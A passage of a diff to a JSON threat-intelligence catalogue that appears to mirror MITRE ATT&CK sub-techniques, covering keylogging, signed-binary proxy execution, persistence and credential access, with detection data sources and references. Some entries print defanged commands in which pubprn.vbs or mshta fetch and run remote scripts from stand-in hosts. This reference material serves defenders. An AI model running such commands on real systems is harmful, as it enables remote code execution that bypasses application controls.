hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.", + "meta": { + "external_id": "CAPEC-568", + "kill_chain": [ + "mitre-attack:collection", + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1056/001", + "https://capec.mitre.org/data/definitions/568.html", + "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf" + ] + }, + "related": [ + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "type": "subtechnique-of" + } + ], + "uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "value": "Keylogging - T1056.001" + }, + { + "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", + "meta": { + "external_id": "T1059.001", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Windows event logs", + "Process monitoring", + "Process command-line parameters", + "PowerShell logs", + "Loaded DLLs", + "File monitoring", + "DLL monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1059/001", + "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", + "https://github.com/jaredhaight/PSAttack", + "http://www.sixdub.net/?p=367", + "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/", + "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/", + "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", + "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "type": "subtechnique-of" + } + ], + "uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "value": "PowerShell - T1059.001" + }, + { + "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used Invoke-PSImage to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ", + "meta": { + "external_id": "T1027.003", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1027/003", + "https://en.wikipedia.org/wiki/Duqu", + "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "type": "subtechnique-of" + } + ], + "uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", + "value": "Steganography - T1027.003" + }, + { + "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents. (Citation: Apple AppleScript) These AppleEvent messages can be easily scripted with AppleScript for local or remote execution.\n\nosascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nAdversaries can use this to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006)(Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\".", + "meta": { + "external_id": "T1059.002", "kill_chain": [ - "mitre-attack:defense-evasion", "mitre-attack:execution" ], "mitre_data_sources": [ "Process monitoring", "Process command-line parameters" ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1059/002", + "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "type": "subtechnique-of" + } + ], + "uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb", + "value": "AppleScript - T1059.002" + }, + { + "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. cron can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.", + "meta": { + "external_id": "T1053.003", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1053/003" + ] + }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "type": "subtechnique-of" + } + ], + "uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", + "value": "Cron - T1053.003" + }, + { + "description": "Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.", + "meta": { + "external_id": "T1053.004", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1053/004", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ] + }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "type": "subtechnique-of" + } + ], + "uuid": "8faedf87-dceb-4c35-b2a2-7286f59a3bc3", + "value": "Launchd - T1053.004" + }, + { + "description": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.", + "meta": { + "external_id": "T1059.006", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "System calls", + "Process monitoring", + "Process command-line parameters", + "API monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1059/006" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "type": "subtechnique-of" + } + ], + "uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "value": "Python - T1059.006" + }, + { + "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)", + "meta": { + "external_id": "T1218.010", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process command-line parameters", + "Process monitoring", + "Loaded DLLs" + ], "mitre_platforms": [ "Windows" ], + "refs": [ + "https://attack.mitre.org/techniques/T1218/010", + "https://support.microsoft.com/en-us/kb/249873", + "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", + "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/", + "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html" + ] + }, + "related": [ + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "type": "subtechnique-of" + } + ], + "uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "value": "Regsvr32 - T1218.010" + }, + { + "description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", + "meta": { + "external_id": "T1213.001", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Third-party application logs", + "Authentication logs" + ], + "mitre_platforms": [ + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1213/001", + "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" + ] + }, + "related": [ + { + "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "type": "subtechnique-of" + } + ], + "uuid": "7ad38ef1-381a-406d-872a-38b136eb5ecc", + "value": "Confluence - T1213.001" + }, + { + "description": "Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.\n\nPubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is cscript C[:]\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png.", + "meta": { + "external_id": "T1216.001", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1216/001", + "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/" + ] + }, + "related": [ + { + "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", + "type": "subtechnique-of" + } + ], + "uuid": "09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", + "value": "PubPrn - T1216.001" + }, + { + "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into an XML project file.(Citation: MSDN MSBuild) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)", + "meta": { + "external_id": "T1127.001", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1127/001", + "https://msdn.microsoft.com/library/dd393574.aspx", + "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/" + ] + }, + "related": [ + { + "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", + "type": "subtechnique-of" + } + ], + "uuid": "c92e3d68-2349-49e4-a341-7edca2deff96", + "value": "MSBuild - T1127.001" + }, + { + "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", + "meta": { + "external_id": "T1213.002", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Office 365 audit logs", + "Authentication logs", + "Application logs" + ], + "mitre_platforms": [ + "Windows", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1213/002", + "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2" + ] + }, + "related": [ + { + "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "type": "subtechnique-of" + } + ], + "uuid": "0c4b4fda-9062-47da-98b9-ceae2dcf052a", + "value": "Sharepoint - T1213.002" + }, + { + "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Access Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", + "meta": { + "external_id": "T1218.003", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows event logs", + "Process use of network", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1218/003", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)", + "https://twitter.com/ItsReallyNick/status/958789644165894146", + "https://msitpros.com/?p=3960", + "https://twitter.com/NickTyrer/status/958450014111633408", + "https://github.com/api0cradle/UltimateAppLockerByPassList", + "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/" + ] + }, + "related": [ + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "type": "subtechnique-of" + } + ], + "uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", + "value": "CMSTP - T1218.003" + }, + { + "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", + "meta": { + "external_id": "T1218.004", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1218/004", + "https://msdn.microsoft.com/en-us/library/50614e95.aspx", + "https://lolbas-project.github.io/lolbas/Binaries/Installutil/" + ] + }, + "related": [ + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "type": "subtechnique-of" + } + ], + "uuid": "2cd950a6-16c4-404a-aa01-044322395107", + "value": "InstallUtil - T1218.004" + }, + { + "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", + "meta": { + "external_id": "T1218.005", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1218/005", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/", + "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", + "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", + "https://en.wikipedia.org/wiki/HTML_Application", + "https://msdn.microsoft.com/library/ms536471.aspx", + "https://lolbas-project.github.io/lolbas/Binaries/Mshta/" + ] + }, + "related": [ + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "type": "subtechnique-of" + } + ], + "uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "value": "Mshta - T1218.005" + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse.", + "meta": { + "external_id": "T1218.007", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1218/007", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/" + ] + }, + "related": [ + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "type": "subtechnique-of" + } + ], + "uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", + "value": "Msiexec - T1218.007" + }, + { + "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n", + "meta": { + "external_id": "T1218.008", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Loaded DLLs", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1218/008", + "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017", + "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + ] + }, + "related": [ + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "type": "subtechnique-of" + } + ], + "uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071", + "value": "Odbcconf - T1218.008" + }, + { + "description": "Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.", + "meta": { + "external_id": "T1555.001", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "PowerShell logs", + "Process monitoring", + "File monitoring", + "System calls", + "API monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1555/001", + "https://en.wikipedia.org/wiki/Keychain_(software)", + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + ] + }, + "related": [ + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "type": "subtechnique-of" + } + ], + "uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", + "value": "Keychain - T1555.001" + }, + { + "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nBy loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)\n\nRunning a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process.", + "meta": { + "external_id": "T1569.001", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1569/001", + "https://ss64.com/osx/launchctl.html", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + ] + }, + "related": [ + { + "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", + "type": "subtechnique-of" + } + ], + "uuid": "810aa4ad-61c9-49cb-993f-daa06199421d", + "value": "Launchctl - T1569.001" + }, + { + "description": "Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", + "meta": { + "external_id": "T1542.003", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "VBR", + "MBR", + "API monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1542/003", + "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf", + "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion" + ] + }, + "related": [ + { + "dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "type": "subtechnique-of" + } + ], + "uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", + "value": "Bootkit - T1542.003" + }, + { + "description": "Adversaries may configure HISTCONTROL to not log all command history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nThis setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history.\n\n Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.", + "meta": { + "external_id": "CAPEC-13", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Environment variable", + "File monitoring", + "Authentication logs", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1562/003", + "https://capec.mitre.org/data/definitions/13.html" + ] + }, + "related": [ + { + "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "type": "subtechnique-of" + } + ], + "uuid": "8f504411-cb96-4dac-a537-8d2bb7679c59", + "value": "HISTCONTROL - T1562.003" + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", + "meta": { + "external_id": "T1546.002", + "kill_chain": [ + 